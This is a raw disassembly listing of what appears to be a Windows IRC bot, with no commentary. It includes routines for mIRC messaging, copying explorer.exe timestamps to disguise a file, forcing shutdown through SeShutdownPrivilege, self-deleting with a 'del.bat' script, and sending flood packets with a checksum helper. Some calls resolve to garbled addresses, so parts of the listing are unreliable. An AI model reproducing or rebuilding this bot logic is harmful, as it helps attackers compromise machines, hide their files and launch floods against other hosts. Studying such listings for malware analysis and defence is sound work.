cmp dword_43F778, esi
jz short loc_40A6FC
push dword_43F77C
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A6FC: ; CODE XREF: sub_40A4AC+222j
cmp dword_43F780, esi
jz short loc_40A730
push dword_43F784
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A730: ; CODE XREF: sub_40A4AC+256j
cmp dword_43F788, esi
jz short loc_40A764
push dword_43F78C
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A764: ; CODE XREF: sub_40A4AC+28Aj
cmp dword_43F790, esi
jz short loc_40A798
push dword_43F794
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A798: ; CODE XREF: sub_40A4AC+2BEj
lea eax, [ebp+var_200]
push offset unk_42D764
push eax
call sub_4172B0
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A7C5
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_40A7C5: ; CODE XREF: sub_40A4AC+302j
lea eax, [ebp+var_200]
push eax
call sub_40BF6D
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A4AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7D7 proc near ; CODE XREF: sub_40EE72+C5Ep
; sub_40EE72+C92p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_40A862
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_40A862
cmp [ebp+arg_8], esi
jz short loc_40A862
cmp byte ptr [eax], 0
jz short loc_40A862
push ebx
push edi
call sub_42274B
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_40A85D
push [ebp+arg_4]
push edi
call sub_417880
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40A856
sub eax, edi
push eax
push edi
push ebx
call sub_418C10
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_417AB0
push eax
push [ebp+arg_8]
push ebx
call sub_418DE0
push [ebp+arg_4]
call sub_417AB0
add eax, esi
push eax
push ebx
call sub_4179D0
push ebx
push edi
call sub_4179C0
add esp, 30h
mov esi, edi
loc_40A856: ; CODE XREF: sub_40A7D7+3Cj
push ebx
call sub_417C3B
pop ecx
loc_40A85D: ; CODE XREF: sub_40A7D7+2Bj
mov eax, esi
pop ebx
jmp short loc_40A864
; ---------------------------------------------------------------------------
loc_40A862: ; CODE XREF: sub_40A7D7+Cj
; sub_40A7D7+13j ...
xor eax, eax
loc_40A864: ; CODE XREF: sub_40A7D7+89j
pop edi
pop esi
pop ebp
retn
sub_40A7D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A868 proc near ; CODE XREF: sub_40ECFA+E9p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_417330
mov esi, [ebp+arg_0]
push esi
call sub_417AB0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_40A89E
loc_40A899: ; DATA XREF: ___:00428424o
; ___:00428468o ...
or eax, 0FFFFFFFFh
jmp short loc_40A911
; ---------------------------------------------------------------------------
loc_40A89E: ; CODE XREF: sub_40A868+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_40A8C0
loc_40A8AA: ; CODE XREF: sub_40A868+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_40A8B7
cmp dl, 0Dh
jnz short loc_40A8BB
loc_40A8B7: ; CODE XREF: sub_40A868+48j
and byte ptr [ecx+esi], 0
loc_40A8BB: ; CODE XREF: sub_40A868+4Dj
inc ecx
cmp ecx, eax
jl short loc_40A8AA
loc_40A8C0: ; CODE XREF: sub_40A868+40j
xor edx, edx
push edi
test eax, eax
jle short loc_40A8F1
lea edi, [ebp+var_7CC]
loc_40A8CD: ; CODE XREF: sub_40A868+87j
cmp byte ptr [edx+esi], 0
jnz short loc_40A8EC
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_40A8EC
cmp ebx, 1F4h
jge short loc_40A8F1
mov [edi], ecx
inc ebx
add edi, 4
loc_40A8EC: ; CODE XREF: sub_40A868+69j
; sub_40A868+74j
inc edx
cmp edx, eax
jl short loc_40A8CD
loc_40A8F1: ; CODE XREF: sub_40A868+5Dj
; sub_40A868+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_40A90F
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_417390
add esp, 0Ch
loc_40A90F: ; CODE XREF: sub_40A868+8Ej
mov eax, ebx
loc_40A911: ; CODE XREF: sub_40A868+34j
pop esi
pop ebx
leave
retn
sub_40A868 endp
; =============== S U B R O U T I N E =======================================
sub_40A915 proc near ; CODE XREF: sub_40A96F+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_40A94E
push ebx
mov ebx, edi
loc_40A932: ; CODE XREF: sub_40A915+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_40A951
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_40A932
pop ebx
loc_40A94E: ; CODE XREF: sub_40A915+18j
pop edi
pop esi
retn
sub_40A915 endp
; =============== S U B R O U T I N E =======================================
sub_40A951 proc near ; CODE XREF: sub_40A915+25p
; sub_40A96F+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_419101
cmp al, 61h
pop ecx
jl short loc_40A96C
cmp al, 7Ah
jg short loc_40A96C
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_40A96C: ; CODE XREF: sub_40A951+Ej
; sub_40A951+12j
xor eax, eax
retn
sub_40A951 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A96F proc near ; CODE XREF: sub_40C04D+10p
; sub_40C07F+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_417B30
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_417AB0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_417AB0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_40A915
add esp, 14h
dec esi
mov edi, esi
loc_40A9AD: ; CODE XREF: sub_40A96F+B6j
test esi, esi
jle short loc_40AA2B
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_419101
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_419101
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40AA23
loc_40A9D3: ; CODE XREF: sub_40A96F+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_40A951
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_40A9F4
mov eax, ecx
loc_40A9F4: ; CODE XREF: sub_40A96F+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_40AA27
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_419101
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_419101
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_40A9D3
loc_40AA23: ; CODE XREF: sub_40A96F+62j
dec edi
dec esi
jmp short loc_40A9AD
; ---------------------------------------------------------------------------
loc_40AA27: ; CODE XREF: sub_40A96F+8Aj
xor eax, eax
jmp short loc_40AA30
; ---------------------------------------------------------------------------
loc_40AA2B: ; CODE XREF: sub_40A96F+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_40AA30: ; CODE XREF: sub_40A96F+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_40A96F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA35 proc near ; CODE XREF: sub_40EE72+3C8Ep
; sub_40EE72+4AF7p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
nop
call near ptr 2630313h
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 2710000h
nop
lea eax, [ebp+var_100]
loc_40AA6E: ; CODE XREF: sub_40AA35+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_40AA7A
cmp cl, 9
jnz short loc_40AA7D
loc_40AA7A: ; CODE XREF: sub_40AA35+3Ej
inc eax
jmp short loc_40AA6E
; ---------------------------------------------------------------------------
loc_40AA7D: ; CODE XREF: sub_40AA35+43j
; sub_40AA35+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_40AA97
mov cl, [eax]
cmp cl, 2Eh
jz short loc_40AA7D
cmp cl, 21h
jl short loc_40AA7D
loc_40AA97: ; CODE XREF: sub_40AA35+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_43F798
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41782A
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AA35 endp
; =============== S U B R O U T I N E =======================================
sub_40AABF proc near ; CODE XREF: sub_40EE72+5732p
push esi
push 0
call dword_43F638
test eax, eax
jz short loc_40AAF6
push 1
call dword_43F658
mov esi, eax
test esi, esi
jz short loc_40AAF6
push edi
push esi
nop
call near ptr 272067Ch
push esi
mov edi, eax
call near ptr 2720000h
nop
call dword_43F6BC
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AAF6: ; CODE XREF: sub_40AABF+Bj
; sub_40AABF+19j
xor eax, eax
pop esi
retn
sub_40AABF endp
; =============== S U B R O U T I N E =======================================
sub_40AAFA proc near ; CODE XREF: sub_40EE72+48C1p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call dword_43F674
mov ebp, eax
cmp ebp, esi
jz short loc_40AB76
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
nop
call near ptr 2730000h
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
nop
call near ptr 2580000h
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_4172B0
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_43F6C4
push esi
push 1
push 4C9h
push ebp
call dword_43F6C4
push ebx
call near ptr 2720C04h
nop
push edi
nop
call near ptr 2611A31h
push 1
pop eax
pop ebx
jmp short loc_40AB78
; ---------------------------------------------------------------------------
loc_40AB76: ; CODE XREF: sub_40AAFA+16j
xor eax, eax
loc_40AB78: ; CODE XREF: sub_40AAFA+7Aj
pop edi
pop esi
pop ebp
retn
sub_40AAFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB7C proc near ; CODE XREF: ___:0040E8BBp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_43F724
test eax, eax
jz short loc_40AC1B
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_424084
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40AC1B
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 2740000h
push ebx
mov ebx, dword_424078
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40AC1B
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
nop
call near ptr 2730727h
push esi
call ebx
loc_40AC1B: ; CODE XREF: sub_40AB7C+2Aj
; sub_40AB7C+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40AB7C endp
; =============== S U B R O U T I N E =======================================
sub_40AC20 proc near ; CODE XREF: sub_40EE72+13C4p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_41511F
pop ecx
pop ecx
push 50005h
push 6
call dword_43F5B0
neg eax
sbb eax, eax
neg eax
retn
sub_40AC20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC42 proc near ; CODE XREF: sub_40CAF1+472p
; sub_40EE72+59D4p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_42F5C0, esi
push edi
jz short loc_40AC66
cmp dword_43F738, esi
jnz short loc_40AC66
push esi
call sub_40C1AE
pop ecx
loc_40AC66: ; CODE XREF: sub_40AC42+13j
; sub_40AC42+1Bj
call sub_416F25
lea eax, [ebp+var_764]
push eax
push 400h
call near ptr 275113Ah
nop
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_4172B0
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
nop
call near ptr 2630000h
mov edi, eax
cmp edi, esi
jbe loc_40ADC6
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_4172B0
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call near ptr 2620000h
nop
push edi
call near ptr 2611A31h
nop
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_417330
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_417330
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43C80C
mov [ebp+var_2C], 1
mov [ebp+var_28], si
nop
call near ptr 2700B59h
push eax
call near ptr 2640000h
nop
lea eax, [ebp+var_15C]
push eax
call near ptr 267029Bh
nop
cmp eax, 0FFFFFFFFh
jz short loc_40AD6E
lea eax, [ebp+var_15C]
push 80h
push eax
call near ptr 2751040h
nop
loc_40AD6E: ; CODE XREF: sub_40AC42+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_4172B0
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call near ptr 2750000h
nop
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call near ptr 274056Fh
nop
loc_40ADC6: ; CODE XREF: sub_40AC42+72j
pop edi
pop esi
leave
retn
sub_40AC42 endp
; =============== S U B R O U T I N E =======================================
sub_40ADCA proc near ; CODE XREF: sub_4013EC+7p
; sub_401992+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43F6A8
cmp eax, 0FFFFFFFFh
jnz short locret_40ADF2
push [esp+arg_0]
call dword_43F6EC
test eax, eax
jnz short loc_40ADEB
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40ADEB: ; CODE XREF: sub_40ADCA+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40ADF2: ; CODE XREF: sub_40ADCA+Dj
retn
sub_40ADCA endp
; =============== S U B R O U T I N E =======================================
sub_40ADF3 proc near ; CODE XREF: sub_40EB92+D6p
mov ecx, dword_43F590
xor eax, eax
test ecx, ecx
jz short locret_40AE01
call ecx
locret_40AE01: ; CODE XREF: sub_40ADF3+Aj
retn
sub_40ADF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE02 proc near ; CODE XREF: sub_40EE72:loc_414556p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_43F6E4
mov ecx, eax
sub ecx, edi
jz loc_40AEC8
sub ecx, 32h
jz loc_40AEC1
sub ecx, 48h
jz short loc_40AE62
sub ecx, 6Eh
jz short loc_40AE5B
loc_40AE44: ; CODE XREF: sub_40AE02+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42DA5C
push eax
call sub_4172B0
add esp, 0Ch
jmp short loc_40AEA2
; ---------------------------------------------------------------------------
loc_40AE5B: ; CODE XREF: sub_40AE02+40j
push offset unk_42DA28
jmp short loc_40AE94
; ---------------------------------------------------------------------------
loc_40AE62: ; CODE XREF: sub_40AE02+3Bj
push [ebp+var_8]
call sub_417B89
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_417330
add esp, 10h
cmp esi, edi
jz short loc_40AE8F
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_43F6E4
cmp eax, edi
jz short loc_40AEC8
jmp short loc_40AE44
; ---------------------------------------------------------------------------
loc_40AE8F: ; CODE XREF: sub_40AE02+79j
push offset unk_42D9E8
loc_40AE94: ; CODE XREF: sub_40AE02+5Ej
; sub_40AE02+C4j
lea eax, [ebp+var_88]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_40AEA2: ; CODE XREF: sub_40AE02+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_40BF6D
pop ecx
loc_40AEB2: ; CODE XREF: sub_40AE02+C8j
; sub_40AE02+DCj
push esi
call sub_417C3B
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40AEC1: ; CODE XREF: sub_40AE02+32j
push offset unk_42D9A8
jmp short loc_40AE94
; ---------------------------------------------------------------------------
loc_40AEC8: ; CODE XREF: sub_40AE02+29j
; sub_40AE02+89j
cmp [esi], edi
jbe short loc_40AEB2
lea ebx, [esi+4]
loc_40AECF: ; CODE XREF: sub_40AE02+DAj
push ebx
call dword_43F6E0
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40AECF
jmp short loc_40AEB2
sub_40AE02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEE0 proc near ; CODE XREF: sub_40144A+243p
; sub_401D82+268p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_43F60C
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_43F99C
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_4172B0
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AEE0 endp
; =============== S U B R O U T I N E =======================================
sub_40AF39 proc near ; CODE XREF: sub_4010B5+24Cp
; sub_4010B5+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AF62
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AF55: ; CODE XREF: sub_40AF39+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AF55
pop edi
jmp short loc_40AF66
; ---------------------------------------------------------------------------
loc_40AF62: ; CODE XREF: sub_40AF39+Aj
mov edx, [esp+4+arg_0]
loc_40AF66: ; CODE XREF: sub_40AF39+27j
test esi, esi
pop esi
jz short loc_40AF70
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AF70: ; CODE XREF: sub_40AF39+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AF39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF86 proc near ; DATA XREF: sub_40EE72+2E51o
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_417B30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_43F5F4
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_43F6A8
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40AFE1
lea eax, [ebp+var_C0]
push eax
call dword_43F6EC
cmp eax, ebx
jz short loc_40AFE7
loc_40AFE1: ; CODE XREF: sub_40AF86+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_40B044
loc_40AFE7: ; CODE XREF: sub_40AF86+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42DAD8
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40B027
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_40D679
add esp, 14h
loc_40B027: ; CODE XREF: sub_40AF86+7Fj
lea eax, [ebp+var_344]
push eax
call sub_40BF6D
push [ebp+var_30]
call sub_417078
pop ecx
pop ecx
push edi
nop
call near ptr 25E02EAh
loc_40B044: ; CODE XREF: sub_40AF86+5Fj
cmp eax, ebx
jz short loc_40B054
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_40B057
; ---------------------------------------------------------------------------
loc_40B054: ; CODE XREF: sub_40AF86+C0j
mov [ebp+var_4], esi
loc_40B057: ; CODE XREF: sub_40AF86+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_417330
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_40B077
mov [ebp+var_3C], eax
loc_40B077: ; CODE XREF: sub_40AF86+ECj
cmp [ebp+var_38], edi
jge short loc_40B07F
mov [ebp+var_38], edi
loc_40B07F: ; CODE XREF: sub_40AF86+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_40B0AC
loc_40B086: ; CODE XREF: sub_40AF86+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_43F58C
inc esi
cmp esi, [ebp+var_40]
jl short loc_40B086
loc_40B0AC: ; CODE XREF: sub_40AF86+FEj
push [ebp+arg_0]
call dword_43F720
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42DA9C
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40B0F5
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_40D679
add esp, 14h
loc_40B0F5: ; CODE XREF: sub_40AF86+14Dj
lea eax, [ebp+var_344]
push eax
call sub_40BF6D
push [ebp+var_30]
call sub_417078
pop ecx
pop ecx
push ebx
call near ptr 25E02EAh
nop
sub_40AF86 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B112 proc near ; DATA XREF: sub_40EE72+2FA9o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_417B30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
nop
call near ptr 25E08E4h
push eax
call sub_417302
pop ecx
push 11h
push 2
push 2
call dword_43F6E8
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_43F6A8
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_40B1F7
lea eax, [ebp+var_B0]
push eax
call dword_43F6EC
cmp eax, edi
jnz short loc_40B1F0
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42DB4C
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40B1D3
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_40D679
add esp, 14h
loc_40B1D3: ; CODE XREF: sub_40B112+9Fj
lea eax, [ebp+var_334]
push eax
call sub_40BF6D
push [ebp+var_20]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 25E02EAh
loc_40B1F0: ; CODE XREF: sub_40B112+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_40B1FA
; ---------------------------------------------------------------------------
loc_40B1F7: ; CODE XREF: sub_40B112+6Ej
lea eax, [ebp+arg_0]
loc_40B1FA: ; CODE XREF: sub_40B112+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_40B215
call sub_41730C
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40B218
; ---------------------------------------------------------------------------
loc_40B215: ; CODE XREF: sub_40B112+F0j
push [ebp+var_24]
loc_40B218: ; CODE XREF: sub_40B112+101j
call dword_43F668
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_40B22A
mov [ebp+var_24], esi
loc_40B22A: ; CODE XREF: sub_40B112+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_40B237
mov [ebp+var_24], eax
loc_40B237: ; CODE XREF: sub_40B112+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_40B24B
mov [ebp+var_28], esi
loc_40B24B: ; CODE XREF: sub_40B112+134j
xor esi, esi
cmp [ebp+var_2C], edi
